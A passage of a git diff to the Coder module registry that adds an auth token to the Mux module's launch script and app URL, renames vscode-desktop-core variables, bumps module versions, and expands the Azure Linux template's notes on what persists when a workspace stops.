"registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/mux/README.md b/registry/coder/modules/mux/README.md index 3f55209e..b9cfafc0 100644 --- a/registry/coder/modules/mux/README.md +++ b/registry/coder/modules/mux/README.md @@ -1,31 +1,31 @@ --- -display_name: mux +display_name: Mux description: Coding Agent Multiplexer - Run multiple AI agents in parallel icon: ../../../../.icons/mux.svg verified: true tags: [ai, agents, development, multiplexer] --- -# mux +# Mux -Automatically install and run [mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces. +Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces. ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id } ``` -![mux](../../.images/mux-product-hero.webp) +![Mux](../../.images/mux-product-hero.webp) ## Features - **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks - **Mux Workspace Isolation**: Each agent works in its own isolated environment -- **Git Divergence Visualization**: Track changes across different mux agent workspaces +- **Git Divergence Visualization**: Track changes across different Mux agent workspaces - **Long-Running Processes**: Resume AI work after interruptions - **Cost Tracking**: Monitor API usage across agents @@ -37,7 +37,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id } ``` @@ -48,20 +48,34 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id # Default is "latest"; set to a specific version to pin install_version = "0.4.0" } ``` +### Open a Project on Launch + +Start Mux with `mux server --add-project /path/to/project`: + +```tf +module "mux" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/coder/mux/coder" + version = "1.1.0" + agent_id = coder_agent.main.id + add-project = "/path/to/project" +} +``` + ### Custom Port ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id port = 8080 } @@ -69,13 +83,13 @@ module "mux" { ### Use Cached Installation -Run an existing copy of mux if found, otherwise install from npm: +Run an existing copy of Mux if found, otherwise install from npm: ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id use_cached = true } @@ -83,13 +97,13 @@ module "mux" { ### Skip Install -Run without installing from the network (requires mux to be pre-installed): +Run without installing from the network (requires Mux to be pre-installed): ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.1.0" agent_id = coder_agent.main.id install = false } @@ -101,6 +115,6 @@ module "mux" { ## Notes -- mux is currently in preview and you may encounter bugs +- Mux is currently in preview and you may encounter bugs - Requires internet connectivity for agent operations (unless `install` is set to false) - Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable) diff --git a/registry/coder/modules/mux/main.tf b/registry/coder/modules/mux/main.tf index 08c70aab..1eeddecf 100644 --- a/registry/coder/modules/mux/main.tf +++ b/registry/coder/modules/mux/main.tf @@ -7,6 +7,10 @@ terraform { source = "coder/coder" version = ">= 2.5" } + random = { + source = "hashicorp/random" + version = ">= 3.0" + } } } @@ -17,43 +21,43 @@ variable "agent_id" { variable "port" { type = number - description = "The port to run mux on." + description = "The port to run Mux on." default = 4000 } variable "display_name" { type = string - description = "The display name for the mux application." - default = "mux" + description = "The display name for the Mux application." + default = "Mux" } variable "slug" { type = string - description = "The slug for the mux application." + description = "The slug for the Mux application." default = "mux" } variable "install_prefix" { type = string - description = "The prefix to install mux to." + description = "The prefix to install Mux to." default = "/tmp/mux" } variable "log_path" { type = string - description = "The path for mux logs." + description = "The path for Mux logs." default = "/tmp/mux.log" } variable "add-project" { type = string - description = "Path to add/open as a project in mux (idempotent)." - default = "" + description = "Optional path to add/open as a project in Mux on startup." + default = null } variable "install_version" { type = string - description = "The version or dist-tag of mux to install." + description = "The version or dist-tag of Mux to install." default = "next" } @@ -80,13 +84,13 @@ variable "group" { variable "install" { type = bool - description = "Install mux from the network (npm or tarball). If false, run without installing (requires a pre-installed mux)." + description = "Install Mux from the network (npm or tarball). If false, run without installing (requires a pre-installed Mux)." default = true } variable "use_cached" { type = bool - description = "Use cached copy of mux if present; otherwise install from npm" + description = "Use cached copy of Mux if present; otherwise install from npm" default = false } @@ -96,7 +100,7 @@ variable "subdomain" { Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder. If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. EOT - default = false + default = true } variable "open_in" { @@ -113,18 +117,35 @@ variable "open_in" { } } +# Per-module auth token for cross-site request protection. +# We pass this token into each mux process at launch time (process-scoped env) +# and include it in the app URL query string (?token=...). +# +# Why process-scoped env instead of a shared coder_env value: +# multiple mux module instances can target the same agent (different slug/port). +# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions. +resource "random_password" "mux_auth_token" { + length = 64 + special = false +} + +locals { + mux_auth_token = random_password.mux_auth_token.result +} + resource "coder_script" "mux" { agent_id = var.agent_id - display_name = "mux" + display_name = var.display_name icon = "/icon/mux.svg" script = templatefile("${path.module}/run.sh", { VERSION : var.install_version, PORT : var.port, LOG_PATH : var.log_path, - ADD_PROJECT : var.add-project, + ADD_PROJECT : var.add-project == null ? "" : var.add-project, INSTALL_PREFIX : var.install_prefix, OFFLINE : !var.install, USE_CACHED : var.use_cached, + AUTH_TOKEN : local.mux_auth_token, }) run_on_start = true @@ -140,7 +161,7 @@ resource "coder_app" "mux" { agent_id = var.agent_id slug = var.slug display_name = var.display_name - url = "http://localhost:${var.port}" + url = "http://localhost:${var.port}?token=${local.mux_auth_token}" icon = "/icon/mux.svg" subdomain = var.subdomain share = var.share @@ -154,5 +175,3 @@ resource "coder_app" "mux" { threshold = 6 } } - - diff --git a/registry/coder/modules/mux/mux.tftest.hcl b/registry/coder/modules/mux/mux.tftest.hcl index c403d377..af103ae2 100644 --- a/registry/coder/modules/mux/mux.tftest.hcl +++ b/registry/coder/modules/mux/mux.tftest.hcl @@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" { ] } +# Needs command = apply because the URL contains random_password.result, +# which is unknown during plan. run "custom_port" { - command = plan + command = apply variables { agent_id = "foo" @@ -29,8 +31,51 @@ run "custom_port" { } assert { - condition = resource.coder_app.mux.url == "http://localhost:8080" - error_message = "coder_app URL must use the configured port" + condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=") + error_message = "coder_app URL must use the configured port and include auth token" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_server_script" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=") + error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result) + error_message = "mux launch script must use the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_url" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=") + error_message = "coder_app URL must include auth token query parameter" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" } } @@ -62,5 +107,3 @@ run "use_cached_only_success" { use_cached = true } } - - diff --git a/registry/coder/modules/mux/run.sh b/registry/coder/modules/mux/run.sh index 2409f19d..0d0c6520 100644 --- a/registry/coder/modules/mux/run.sh +++ b/registry/coder/modules/mux/run.sh @@ -9,7 +9,9 @@ function run_mux() { rm -f "$HOME/.mux/server.lock" local port_value + local auth_token_value port_value="${PORT}" + auth_token_value="${AUTH_TOKEN}" if [ -z "$port_value" ]; then port_value="4000" fi @@ -20,7 +22,7 @@ function run_mux() { fi echo "🚀 Starting mux server on port $port_value..." echo "Check logs at ${LOG_PATH}!" - PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & + MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & } # Check if mux is already installed for offline mode diff --git a/registry/coder/modules/vscode-desktop-core/README.md b/registry/coder/modules/vscode-desktop-core/README.md index d95e2da2..1b86783a 100644 --- a/registry/coder/modules/vscode-desktop-core/README.md +++ b/registry/coder/modules/vscode-desktop-core/README.md @@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo ```tf module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/code.svg" - web_app_slug = "vscode" - web_app_display_name = "VS Code Desktop" - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/code.svg" + coder_app_slug = "vscode" + coder_app_display_name = "VS Code Desktop" + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/vscode-desktop-core/main.test.ts b/registry/coder/modules/vscode-desktop-core/main.test.ts index 46c51227..87674f32 100644 --- a/registry/coder/modules/vscode-desktop-core/main.test.ts +++ b/registry/coder/modules/vscode-desktop-core/main.test.ts @@ -11,9 +11,9 @@ const appName = "vscode-desktop"; const defaultVariables = { agent_id: "foo", - web_app_icon: "/icon/code.svg", - web_app_slug: "vscode", - web_app_display_name: "VS Code Desktop", + coder_app_icon: "/icon/code.svg", + coder_app_slug: "vscode", + coder_app_display_name: "VS Code Desktop", protocol: "vscode", }; @@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => { ); expect(coder_app?.instances[0].attributes.slug).toBe( - defaultVariables.web_app_slug, + defaultVariables.coder_app_slug, ); expect(coder_app?.instances[0].attributes.display_name).toBe( - defaultVariables.web_app_display_name, + defaultVariables.coder_app_display_name, ); }); it("sets order", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_order: "5", + coder_app_order: "5", ...defaultVariables, }); @@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => { it("sets group", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_group: "web-app-group", + coder_app_group: "web-app-group", ...defaultVariables, }); diff --git a/registry/coder/modules/vscode-desktop-core/main.tf b/registry/coder/modules/vscode-desktop-core/main.tf index 7e675712..9a7da34c 100644 --- a/registry/coder/modules/vscode-desktop-core/main.tf +++ b/registry/coder/modules/vscode-desktop-core/main.tf @@ -31,28 +31,28 @@ variable "protocol" { description = "The URI protocol the IDE." } -variable "web_app_icon" { +variable "coder_app_icon" { type = string description = "The icon of the coder_app." } -variable "web_app_slug" { +variable "coder_app_slug" { type = string description = "The slug of the coder_app." } -variable "web_app_display_name" { +variable "coder_app_display_name" { type = string description = "The display name of the coder_app." } -variable "web_app_order" { +variable "coder_app_order" { type = number description = "The order of the coder_app." default = null } -variable "web_app_group" { +variable "coder_app_group" { type = string description = "The group of the coder_app." default = null @@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" { agent_id = var.agent_id external = true - icon = var.web_app_icon - slug = var.web_app_slug - display_name = var.web_app_display_name + icon = var.coder_app_icon + slug = var.coder_app_slug + display_name = var.coder_app_display_name - order = var.web_app_order - group = var.web_app_group + order = var.coder_app_order + group = var.coder_app_group url = join("", [ var.protocol, diff --git a/registry/coder/modules/vscode-desktop/README.md b/registry/coder/modules/vscode-desktop/README.md index 56f39bf7..7252361d 100644 --- a/registry/coder/modules/vscode-desktop/README.md +++ b/registry/coder/modules/vscode-desktop/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "vscode" { module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/coder/modules/vscode-desktop/main.tf b/registry/coder/modules/vscode-desktop/main.tf index c9e6dd35..8d98a1a7 100644 --- a/registry/coder/modules/vscode-desktop/main.tf +++ b/registry/coder/modules/vscode-desktop/main.tf @@ -40,7 +40,7 @@ variable "group" { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/windsurf/README.md b/registry/coder/modules/windsurf/README.md index 77c57d40..4463552f 100644 --- a/registry/coder/modules/windsurf/README.md +++ b/registry/coder/modules/windsurf/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "windsurf" { module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/windsurf/main.tf b/registry/coder/modules/windsurf/main.tf index 3ec29d5b..90521fa6 100644 --- a/registry/coder/modules/windsurf/main.tf +++ b/registry/coder/modules/windsurf/main.tf @@ -65,7 +65,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/templates/azure-linux/README.md b/registry/coder/templates/azure-linux/README.md index 33d771ed..ddae36db 100644 --- a/registry/coder/templates/azure-linux/README.md +++ b/registry/coder/templates/azure-linux/README.md @@ -27,8 +27,21 @@ This template provisions the following resources: - Azure VM (ephemeral, deleted on stop) - Managed disk (persistent, mounted to `/home/coder`) +- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM) -This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. +### What happens on stop + +When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them. + +This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior. + +### What happens on delete + +When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk. + +### Workspace restarts + +Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. > [!NOTE] > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case. diff --git a/registry/cytoshahar/modules/positron/README.md b/registry/cytoshahar/modules/positron/README.md index 139b560c..21d4e543 100644 --- a/registry/cytoshahar/modules/positron/README.md +++ b/registry/cytoshahar/modules/positron/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "positron" { module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/cytoshahar/modules/positron/main.tf b/registry/cytoshahar/modules/positron/main.tf index 9365b444..1d391296 100644 --- a/registry/cytoshahar/modules/positron/main.tf +++ b/registry/cytoshahar/modules/positron/main.tf @@ -41,13 +41,13 @@ variable "group" { variable "slug" { type = string description = "The slug of the app." - default = "cursor" + default = "positron" } variable "display_name" { type = string description = "The display name of the app." - default = "Cursor Desktop" + default = "Positron Desktop" } data "coder_workspace" "me" {} @@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {} module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id